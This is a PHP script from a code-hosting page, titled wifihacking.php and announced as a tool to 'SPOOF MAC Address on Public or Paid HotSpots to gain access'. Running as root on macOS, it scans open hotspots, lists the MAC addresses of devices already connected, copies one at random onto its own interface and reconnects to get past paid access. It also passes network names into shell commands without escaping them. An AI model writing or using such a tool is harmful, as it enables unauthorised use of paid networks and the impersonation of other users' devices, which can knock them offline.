-
Notifications
You must be signed in to change notification settings - Fork 10
/
wifihacking.php
221 lines (137 loc) · 7.88 KB
/
wifihacking.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php
$macaddr_vendors = json_decode(file_get_contents("macaddr.json"),TRUE);
function is_connected()
{
$connected = @fsockopen("www.google.com", 80);
//website, port (try 80 or 443)
if ($connected){
$is_conn = true; //action when connected
fclose($connected);
}else{
$is_conn = false; //action in connection failure
}
return $is_conn;
}
echo("|================================================================================|\n");
echo("| |\n");
echo("| |\n");
echo("| SPOOF MAC Address on Public or Paid HotSpots to gain access |\n");
echo("| |\n");
echo("| |\n");
echo("|================================================================================|\n\n");
if(shell_exec("whoami") != "root\n") {
echo("|================================================================================|\n");
echo("| Please run this script as ROOT! |\n");
echo("|================================================================================|\n\n");
exit;
}
$fingcheck = shell_exec("type fing");
if(strpos($fingcheck,'fing is') === false) {
//echo("Please install fing, this script heavily depend on it. [http://www.overlooksoft.com/fing]\n");
echo("|================================================================================|\n");
echo("| Please install fing, this script heavily depend on it. |\n");
echo("| [http://www.overlooksoft.com/fing] |\n");
echo("|================================================================================|\n\n");
exit;
}
$current_mac_addr = str_replace("\n","",shell_exec('ifconfig en0 ether | grep -Eo "[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}"'));
echo("|================================================================================|\n");
echo("| Saving your current MAC Address... |\n");
echo("| ".$current_mac_addr." |\n");
echo("|================================================================================|\n\n");
echo("|================================================================================|\n");
echo("| Scanning for nearby HotSpots... |\n");
echo("|================================================================================|\n\n");
function signalquality($num) {
switch ($num){
case ($num>=0 && $num<=20):
return("๏๏๏๏๏");
break;
case ($num>=21 && $num<=40):
return("๏๏๏๏၀");
break;
case ($num>=41 && $num<=60):
return("๏๏๏၀၀");
break;
case ($num>=61 && $num<=80):
return("๏๏၀၀၀");
break;
case ($num>=81 && $num<=100):
return("๏၀၀၀၀");
break;
default: //default
return("၀၀၀၀၀");
break;
}
}
$i = 1;
$hotspots_arr;
exec("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | grep NONE | awk '{print $1\",\"$2\",\"$3}'",$available_hotspots);
$available_hotspots = array_unique($available_hotspots);
if(count($available_hotspots) > 0) {
foreach($available_hotspots as $available_hotspot) {
$hotspot_details = explode(",",$available_hotspot);
$SSID = $hotspot_details[0];
$BSSID = $hotspot_details[1];
$signal_quality = signalquality(abs(intval($hotspot_details[2])));
$hotspots_arr[$i] = array("SSID" => $SSID,"BSSID"=>$BSSID);
echo(" ".$i." | ".$SSID." [".$BSSID."] ".$signal_quality."\n");
$i++;
}
echo("\n|================================================================================|\n");
echo("\n Enter number of HotSpot to hack into: ");
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
echo("\n|================================================================================|\n\n");
echo(" Trying to connect to ".$hotspots_arr[intval($line)]["SSID"]." [".$hotspots_arr[intval($line)]["BSSID"]."]...\n");
exec("networksetup -setairportnetwork en0 '".$hotspots_arr[intval($line)]["SSID"]."'",$output);
if(!strpos($output[0],'Could not')) {
echo(" Connected to ".$hotspots_arr[intval($line)]["SSID"]." [".$hotspots_arr[intval($line)]["BSSID"]."]...\n\n");
echo("|================================================================================|\n\n");
$routeraddr = shell_exec("ipconfig getpacket en0 | grep 'server_identifier (ip): ' | grep -Eo '[0-9.]{1,100}'");
$subnetmask = shell_exec("ipconfig getpacket en0 | grep 'subnet_mask (ip): ' | grep -Eo '[0-9.]{1,100}'");
echo(" Waiting for IP address.");
while ($routeraddr == "" || $subnetmask == "") {
echo(".");
$routeraddr = shell_exec("ipconfig getpacket en0 | grep 'server_identifier (ip): ' | grep -Eo '[0-9.]{1,100}'");
$subnetmask = shell_exec("ipconfig getpacket en0 | grep 'subnet_mask (ip): ' | grep -Eo '[0-9.]{1,100}'");
flush();
sleep(2);
}
echo("\n\n|================================================================================|\n\n");
echo(" Scanning for MAC addresses nearby...\n");
exec("sudo /usr/bin/fing -r1 | grep -Eo '[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}' | sort | uniq",$macaddresses);
$max = count($macaddresses)-1;
$randmacaddr = $macaddresses[rand(0,$max)];
echo(" Randomly selected some nice MAC address for you: ".$randmacaddr."\n");
echo(" Device vendor: ".$macaddr_vendors[strtoupper(substr($randmacaddr,0,8))]."\n");
exec("ifconfig en0 ether ".$randmacaddr);
exec("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -z");
exec('ifconfig en0 ether | grep -Eo "[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}"',$newmacaddr);
$newmacaddr = implode("\n",$newmacaddr);
echo("\n|================================================================================|\n\n");
if($newmacaddr != $current_mac_addr) {
echo(" MAC Address changed successfully!\n");
echo(" Trying to connect to ".$hotspots_arr[intval($line)]["SSID"]." [".$hotspots_arr[intval($line)]["BSSID"]."]...\n");
exec("networksetup -setairportnetwork en0 '".$hotspots_arr[intval($line)]["SSID"]."'",$output2);
if(!strpos($output2[0],'Could not')) {
echo(" Reconnected to ".$hotspots_arr[intval($line)]["SSID"]."\n");
echo(" Checking internet availability.");
while(!is_connected()) {
echo(".");
flush();
sleep(15);
}
echo("\n Internet is up and running! Enjoy!\n");
echo("\n|================================================================================|\n\n");
}
} else {
echo(" Failed to change MAC Address!\n");
}
} else {
echo(" Failed to connect. Closing...\n");
}
} else {
echo(" No HotSpots found. Closing...\n");
}
?>